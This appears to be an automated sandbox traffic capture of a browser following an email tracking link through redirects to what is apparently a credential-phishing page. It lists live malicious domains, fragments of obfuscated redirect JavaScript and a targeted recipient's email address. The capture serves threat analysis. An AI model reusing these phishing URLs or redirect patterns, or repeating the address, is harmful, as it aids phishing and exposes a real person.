Dec 9, 2024 18:42:40.708769083 CET	1.1.1.1	192.168.2.17	0x9c37	No error (0)	6d700e25-0e591a27.myconm.com	164.92.188.247	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:44.255981922 CET	1.1.1.1	192.168.2.17	0x91a5	No error (0)	6d700e25-0e591a27.myconm.com	164.92.188.247	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:47.447498083 CET	1.1.1.1	192.168.2.17	0x884e	No error (0)	cd092d4c-0e591a27.myconm.com	164.92.188.247	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:50.389214993 CET	1.1.1.1	192.168.2.17	0x40a4	No error (0)	cd092d4c-0e591a27.myconm.com	164.92.188.247	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:50.478420019 CET	1.1.1.1	192.168.2.17	0xec12	No error (0)	l1ve.myconm.com	164.92.188.247	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:54.507726908 CET	1.1.1.1	192.168.2.17	0xfc24	No error (0)	aa45faf7-0e591a27.myconm.com	164.92.188.247	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:43:09.194713116 CET	1.1.1.1	192.168.2.17	0x54a2	No error (0)	offcap.myconm.com	164.92.188.247	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:43:12.301963091 CET	1.1.1.1	192.168.2.17	0x96c1	No error (0)	f3b9289a-0e591a27.myconm.com	164.92.188.247	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:43:12.301985025 CET	1.1.1.1	192.168.2.17	0x3a92	No error (0)	32eb4ebc-0e591a27.myconm.com	164.92.188.247	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:43:12.302016020 CET	1.1.1.1	192.168.2.17	0x6260	No error (0)	af608318-0e591a27.myconm.com	164.92.188.247	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:43:12.302025080 CET	1.1.1.1	192.168.2.17	0x43ee	No error (0)	c6b0c7df-0e591a27.myconm.com	164.92.188.247	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:43:12.451853037 CET	1.1.1.1	192.168.2.17	0xb2c5	No error (0)	6ef77b17-0e591a27.myconm.com	164.92.188.247	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:43:12.453995943 CET	1.1.1.1	192.168.2.17	0x6bff	No error (0)	0fa96f3e-0e591a27.myconm.com	164.92.188.247	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:43:12.463603020 CET	1.1.1.1	192.168.2.17	0x95b3	No error (0)	26e0e80c-0e591a27.myconm.com	164.92.188.247	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:43:12.609535933 CET	1.1.1.1	192.168.2.17	0x8a0b	No error (0)	4e1fa428-0e591a27.myconm.com	164.92.188.247	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:43:12.616709948 CET	1.1.1.1	192.168.2.17	0x561b	No error (0)	3c5f129b-0e591a27.myconm.com	164.92.188.247	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:43:17.385651112 CET	1.1.1.1	192.168.2.17	0xea42	No error (0)	32eb4ebc-0e591a27.myconm.com	164.92.188.247	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:43:17.781124115 CET	1.1.1.1	192.168.2.17	0x292a	No error (0)	b4cef784-0e591a27.myconm.com	164.92.188.247	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:43:18.565973043 CET	1.1.1.1	192.168.2.17	0x2a26	No error (0)	l1ve.myconm.com	164.92.188.247	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

webservice.ucampaign.unear.net

sphexams.com

https:

ameninternazionale.org

cdnjs.cloudflare.com

challenges.cloudflare.com

offcap.myconm.com

findicons.com

images.freeimages.com

6d700e25-0e591a27.myconm.com

cd092d4c-0e591a27.myconm.com

l1ve.myconm.com

aa45faf7-0e591a27.myconm.com

32eb4ebc-0e591a27.myconm.com

f3b9289a-0e591a27.myconm.com

b4cef784-0e591a27.myconm.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.17	49706	52.200.208.143	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:41:17 UTC	2354	OUT	GET /UmailTracking/t.aspx?p=64620006&c=MTI2NjMxOA==&up=46435316&e=jlim@vvblawyers.com&l=MTczODQ=&i=1126&u=aHR0cHM6Ly9zcGhleGFtcy5jb20vLndlbGwta25vdy8/MHM1N2RiPU1UTW1NVE1tTVRNbU1UTW1RakVtUmpRbWIySnhkRWN6SmtRMEprMTFiSGR5VkdoSGVVdFpMaTQ1U2pOWU5sSnlhbVk2Y2tZMEpqTXpKblY1Wm5VdWIyWmxaV3BwTXpNbVJUUW1kSFJpYldReE15WnZZbkYwUkRRbVFqRW1SalFtYlc1MWFVY3pKa1EwSmtJeEprWTBKbnBsY0dOSE15WkVOQ1pDTVNaR05DWjZaWEJqUkRRbVFqRW1SalFtWldKbWFVY3pKa1EwSmtJeEprWTBKbVp0ZW5WMFJ6TW1SRFFtTVRNbU1UTW1NVE1tTVRNbVFqRW1SVGdtTVRNbU1UTW1NVE1tTVRNbU1UTW1NVE1tTVRNbU1UTW1RakVtUXpRbWIyWmxaV3BwTVRNbVFqUW1lblZxYldwamFuUnFkekV6SmpFekpqRXpKakV6SmpFekpqRXpKakV6SmpFekpqRXpKakV6SmpFekpqRXpKa0l4SmtNMEptWjFhbWw0TVRNbVFqUW1jM0J0Y0dReE15WXhNeVl4TXlZeE15WXhNeVl4TXlZeE15WXhNeVl4TXlZeE15WXhNeVl4TXlaQ01TWkRPQ1l4TXlaMWVXWjFMbTltWldWcWFTOHhNeVl4TXlZeE15WXhNeVl4TXlZeE15WXhNeVl4TXlaQ01TWkdOQ1ptYlhwMWRFUTBKakV6SmpFekpqRXpKakV6SmtJeEprWTBKbVp0ZFdwMVJ6TW1SRFFtWm01d1NVWTBKbVp0ZFdwMVJEUW1NVE1tTVRNbU1UTW1NVE1tUWpFbVJ6TW1LekV6Sm1aek1UTW1aV1ZpTVRNbVJUUW1SVFFtUlRRbVJUUW1SVFFtUlRRbV [TRUNCATED] Host: webservice.ucampaign.unear.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:41:18 UTC	1877	IN	HTTP/1.1 302 Found Cache-Control: private Content-Security-Policy: default-src 'self'; script-src 'self'; img-src * 'self' data: i.ucampaign.unear.net; frame-ancestors 'self'; style-src 'self' 'unsafe-inline' fonts.googleapis.com Content-Type: text/html; charset=utf-8 Date: Mon, 09 Dec 2024 17:41:18 GMT Location: https://sphexams.com/.well-know/?0s57db=MTMmMTMmMTMmMTMmQjEmRjQmb2JxdEczJkQ0Jk11bHdyVGhHeUtZLi45SjNYNlJyamY6ckY0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEmRjQmbW51aUczJkQ0JkIxJkY0JnplcGNHMyZENCZCMSZGNCZ6ZXBjRDQmQjEmRjQmZWJmaUczJkQ0JkIxJkY0JmZtenV0RzMmRDQmMTMmMTMmMTMmMTMmQjEmRTgmMTMmMTMmMTMmMTMmMTMmMTMmMTMmMTMmQjEmQzQmb2ZlZWppMTMmQjQmenVqbWpjanRqdzEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJkIxJkM0JmZ1aml4MTMmQjQmc3BtcGQxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZDOCYxMyZ1eWZ1Lm9mZWVqaS8xMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZGNCZmbXp1dEQ0JjEzJjEzJjEzJjEzJkIxJkY0JmZtdWp1RzMmRDQmZm5wSUY0JmZtdWp1RDQmMTMmMTMmMTMmMTMmQjEmRzMmKzEzJmZzMTMmZWViMTMmRTQmRTQmRTQmRTQmRTQmRTQmRDQmMTMmK0czJjEzJjEzJkY0JjMzJkU0JjEzY2s2RGNxR1hjb0NGZXtXSGVzemdsdHpmaWduc2tlaTQzJkczJmZzRzMmZWRHMyZ4cG9sLm1tZngvRzMmaHNwL2ZtYm9wantib3NmdW9qb2ZuYkczJkczJkI0JnRxdXVpRTQmbXN2QzQmMzMzJkU0JnVvZnVvcGQxMyYzMyZpdGZzZ2ZzMzMmRTQmd2p2cmYucXV1aTEzJmJ1Zm5ENCYxMyYxMyYxMyYxMyZCMSZGNCYzMyY5LkdVVjMzJkU0JnVmdHNiaWQxMyZidWZuRDQmMTMmMTMmMTMmMT [TRUNCATED] Permissions-Policy: acelerometer=(self), fullscreen=(self), geolocation=(self) Referrer-Policy: strict-origin-when-cross-origin Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-AspNet-Version: 4.0.30319 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Xss-Protection: 1; mode=block Content-Length: 3656 Connection: Close
2024-12-09 17:41:18 UTC	3656	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 70 68 65 78 61 6d 73 2e 63 6f 6d 2f 2e 77 65 6c 6c 2d 6b 6e 6f 77 2f 3f 30 73 35 37 64 62 3d 4d 54 4d 6d 4d 54 4d 6d 4d 54 4d 6d 4d 54 4d 6d 51 6a 45 6d 52 6a 51 6d 62 32 4a 78 64 45 63 7a 4a 6b 51 30 4a 6b 31 31 62 48 64 79 56 47 68 48 65 55 74 5a 4c 69 34 35 53 6a 4e 59 4e 6c 4a 79 61 6d 59 36 63 6b 59 30 4a 6a 4d 7a 4a 6e 56 35 5a 6e 55 75 62 32 5a 6c 5a 57 70 70 4d 7a 4d 6d 52 54 51 6d 64 48 52 69 62 57 51 78 4d 79 5a 76 59 6e 46 30 52 44 51 6d 51 6a 45 6d 52 6a 51 6d 62 57 35 31 Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="https://sphexams.com/.well-know/?0s57db=MTMmMTMmMTMmMTMmQjEmRjQmb2JxdEczJkQ0Jk11bHdyVGhHeUtZLi45SjNYNlJyamY6ckY0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEmRjQmbW51

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.17	49710	104.21.34.58	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:41:20 UTC	1818	OUT	GET /.well-know/?0s57db=MTMmMTMmMTMmMTMmQjEmRjQmb2JxdEczJkQ0Jk11bHdyVGhHeUtZLi45SjNYNlJyamY6ckY0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEmRjQmbW51aUczJkQ0JkIxJkY0JnplcGNHMyZENCZCMSZGNCZ6ZXBjRDQmQjEmRjQmZWJmaUczJkQ0JkIxJkY0JmZtenV0RzMmRDQmMTMmMTMmMTMmMTMmQjEmRTgmMTMmMTMmMTMmMTMmMTMmMTMmMTMmMTMmQjEmQzQmb2ZlZWppMTMmQjQmenVqbWpjanRqdzEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJkIxJkM0JmZ1aml4MTMmQjQmc3BtcGQxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZDOCYxMyZ1eWZ1Lm9mZWVqaS8xMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZGNCZmbXp1dEQ0JjEzJjEzJjEzJjEzJkIxJkY0JmZtdWp1RzMmRDQmZm5wSUY0JmZtdWp1RDQmMTMmMTMmMTMmMTMmQjEmRzMmKzEzJmZzMTMmZWViMTMmRTQmRTQmRTQmRTQmRTQmRTQmRDQmMTMmK0czJjEzJjEzJkY0JjMzJkU0JjEzY2s2RGNxR1hjb0NGZXtXSGVzemdsdHpmaWduc2tlaTQzJkczJmZzRzMmZWRHMyZ4cG9sLm1tZngvRzMmaHNwL2ZtYm9wantib3NmdW9qb2ZuYkczJkczJkI0JnRxdXVpRTQmbXN2QzQmMzMzJkU0JnVvZnVvcGQxMyYzMyZpdGZzZ2ZzMzMmRTQmd2p2cmYucXV1aTEzJmJ1Zm5ENCYxMyYxMyYxMyYxMyZCMSZGNCYzMyY5LkdVVjMzJkU0JnVmdHNiaWQxMyZidWZuRDQmMTMmMTMmMTMmMTMmQjEmRjQmZWJmaUQ0JkIxJkY0 [TRUNCATED] Host: sphexams.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:41:21 UTC	868	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:41:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a4OE7X%2B8jG5zCJNUTFL%2FrgkGuyw%2F00UKs79gqf%2Biqe6nJxtO9XSAnLj%2FAxV3GREAwu59oS4EdTrWRb3WJnT4H3iCvNTYjGXSxQ4TKjOQ9BsIemBAacqCPj9kiUv9GP0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef6c916fe1042e5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2169&min_rtt=2169&rtt_var=1084&sent=6&recv=9&lost=0&retrans=1&sent_bytes=4200&recv_bytes=2396&delivery_rate=187528&cwnd=221&unsent_bytes=0&cid=88c7a10a93ee7cd7&ts=832&x=0"
2024-12-09 17:41:21 UTC	501	IN	Data Raw: 34 39 39 0d 0a 3c 68 74 6d 6c 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 21 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 6d 61 70 2e 63 61 6c 6c 28 61 74 6f 62 28 65 29 2c 20 66 75 6e 63 74 69 6f 6e 28 65 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 22 25 22 20 2b 20 28 22 30 30 22 20 2b 20 65 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 29 2e 73 6c 69 63 65 28 2d 32 29 0d 0a 20 20 20 Data Ascii: 499<html> <script> !function() { function e(e) { return decodeURIComponent(Array.prototype.map.call(atob(e), function(e) { return "%" + ("00" + e.charCodeAt(0).toString(16)).slice(-2)
2024-12-09 17:41:21 UTC	683	IN	Data Raw: 65 28 29 2e 6a 6f 69 6e 28 22 22 29 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 72 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 6e 65 77 20 55 52 4c 28 65 29 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 21 30 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 20 63 61 74 63 68 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 21 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 72 20 Data Ascii: e().join("") } function o(e) { try { return new URL(e), !0 } catch { return !1 } } var r
2024-12-09 17:41:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.17	49714	104.21.34.58	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:41:24 UTC	1743	OUT	GET /favicon.ico HTTP/1.1 Host: sphexams.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://sphexams.com/.well-know/?0s57db=MTMmMTMmMTMmMTMmQjEmRjQmb2JxdEczJkQ0Jk11bHdyVGhHeUtZLi45SjNYNlJyamY6ckY0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEmRjQmbW51aUczJkQ0JkIxJkY0JnplcGNHMyZENCZCMSZGNCZ6ZXBjRDQmQjEmRjQmZWJmaUczJkQ0JkIxJkY0JmZtenV0RzMmRDQmMTMmMTMmMTMmMTMmQjEmRTgmMTMmMTMmMTMmMTMmMTMmMTMmMTMmMTMmQjEmQzQmb2ZlZWppMTMmQjQmenVqbWpjanRqdzEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJkIxJkM0JmZ1aml4MTMmQjQmc3BtcGQxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZDOCYxMyZ1eWZ1Lm9mZWVqaS8xMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZGNCZmbXp1dEQ0JjEzJjEzJjEzJjEzJkIxJkY0JmZtdWp1RzMmRDQmZm5wSUY0JmZtdWp1RDQmMTMmMTMmMTMmMTMmQjEmRzMmKzEzJmZzMTMmZWViMTMmRTQmRTQmRTQmRTQmRTQmRTQmRDQmMTMmK0czJjEzJjEzJkY0JjMzJkU0JjEzY2s2RGNxR1hjb0NGZXtXSGVzemdsdHpmaWduc2tlaTQzJkczJmZzRzMmZWRHMyZ4cG9sLm1tZngvRzMmaHNwL2ZtYm9wantib3NmdW9qb2ZuYkczJkczJkI0JnRxdXVpRTQmbXN2QzQmMzMzJkU0JnVvZnVvcGQxMyYzMyZpdGZzZ2ZzMzMmRTQmd2p2cmYucXV1aTEzJmJ1Zm5ENCYxMyYxMyYxMyYxMyZCMSZGNCYzMyY5LkdVVjMzJkU0JnVmdHNiaWQxMyZidWZuRDQmMTMmMTMmMTMmMTM [TRUNCATED] Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:41:24 UTC	947	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:41:24 GMT Content-Type: image/x-icon Content-Length: 0 Connection: close cache-control: public, max-age=604800 expires: Mon, 16 Dec 2024 14:35:15 GMT last-modified: Wed, 03 Aug 2022 21:00:16 GMT x-turbo-charged-by: LiteSpeed CF-Cache-Status: HIT Age: 11169 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1Ug%2FlmIAT0Dv58y3Ix3cWY3BaN8ZxMGT6MTCzCvMxDNoSvjbr3R0VVGZJ3g3uLbqEItIvkKbmuxGXxGxi8rCfP8cHlCZbr2gvQYwVikaOnyztGkYYsiP%2BXWqGcyppIw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef6c92dacae43ac-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1832&min_rtt=1821&rtt_var=706&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=2321&delivery_rate=1524804&cwnd=181&unsent_bytes=0&cid=1a142710fcb791e5&ts=455&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.17	49715	192.185.25.241	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:41:26 UTC	700	OUT	GET /.well-know/cd/re/ HTTP/1.1 Host: ameninternazionale.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://sphexams.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:41:27 UTC	208	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:41:26 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-12-09 17:41:27 UTC	7984	IN	Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 Data Ascii: 4000<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <meta http-equiv="X-UA-Compatible" content="IE=edge"/> <meta name="viewport" content="width=devi
2024-12-09 17:41:27 UTC	8406	IN	Data Raw: 61 74 65 33 64 28 31 2c 20 30 2c 20 30 2c 20 39 30 64 65 67 29 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 63 6c 6f 73 65 64 2d 66 6c 61 70 2d 73 77 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 59 28 63 61 6c 63 28 2d 31 20 2a 20 76 61 72 28 2d 2d 65 6e 76 48 29 29 29 20 72 6f 74 61 74 65 33 64 28 31 2c 20 30 2c 20 30 2c 20 30 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 38 2e 35 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 59 28 63 61 6c 63 28 2d 31 20 2a 20 76 61 Data Ascii: ate3d(1, 0, 0, 90deg) } @keyframes closed-flap-swing { 0% { transform: translateY(calc(-1 * var(--envH))) rotate3d(1, 0, 0, 0) } 8.5% { transform: translateY(calc(-1 * va
2024-12-09 17:41:27 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-09 17:41:27 UTC	4278	IN	Data Raw: 31 30 61 39 0d 0a 74 6f 70 3a 20 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 53 65 67 6f 65 20 55 49 22 2c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 22 52 6f 62 6f 74 6f 22 2c 22 45 62 72 69 6d 61 22 2c 22 4e 69 72 6d 61 6c 61 20 55 49 22 2c 22 47 61 64 75 67 69 22 2c 22 53 65 67 6f 65 20 58 62 6f 78 20 53 79 6d 62 6f 6c 22 2c 22 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 22 2c 22 4d 65 69 72 79 6f 20 55 49 22 2c 22 4b 68 6d 65 72 20 55 49 22 2c 22 54 75 6e 67 61 22 2c 22 4c 61 6f 20 55 49 22 2c 22 52 61 61 76 69 22 2c 22 49 73 6b 6f 6f 6c 61 20 50 6f 74 61 22 2c 22 4c 61 74 68 61 22 2c 22 4c 65 65 6c 61 77 61 64 65 65 22 2c 22 4d 69 Data Ascii: 10a9top: 20px;font-size: 18px; font-family: "Segoe UI","Helvetica Neue","Lucida Grande","Roboto","Ebrima","Nirmala UI","Gadugi","Segoe Xbox Symbol","Segoe UI Symbol","Meiryo UI","Khmer UI","Tunga","Lao UI","Raavi","Iskoola Pota","Latha","Leelawadee","Mi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.17	49720	172.67.155.32	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:41:27 UTC	347	OUT	GET /favicon.ico HTTP/1.1 Host: sphexams.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:41:27 UTC	946	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:41:27 GMT Content-Type: image/x-icon Content-Length: 0 Connection: close cache-control: public, max-age=604800 expires: Mon, 16 Dec 2024 14:35:15 GMT last-modified: Wed, 03 Aug 2022 21:00:16 GMT x-turbo-charged-by: LiteSpeed CF-Cache-Status: HIT Age: 11172 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LtVum4%2B1duumfoS6WO%2Byoh8frvW22oZYeDpFIPzBgT2CbLh46rKo7KXx6LIUFoovaVSWGyLzPci9sLmXfJvVHGq2BEaYgGAkJ9qvxIUDRPLt9Zrngsmi1XePCu7v988%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef6c940985542cb-EWR alt-svc: h3=":443"; ma=86400 server-timing: 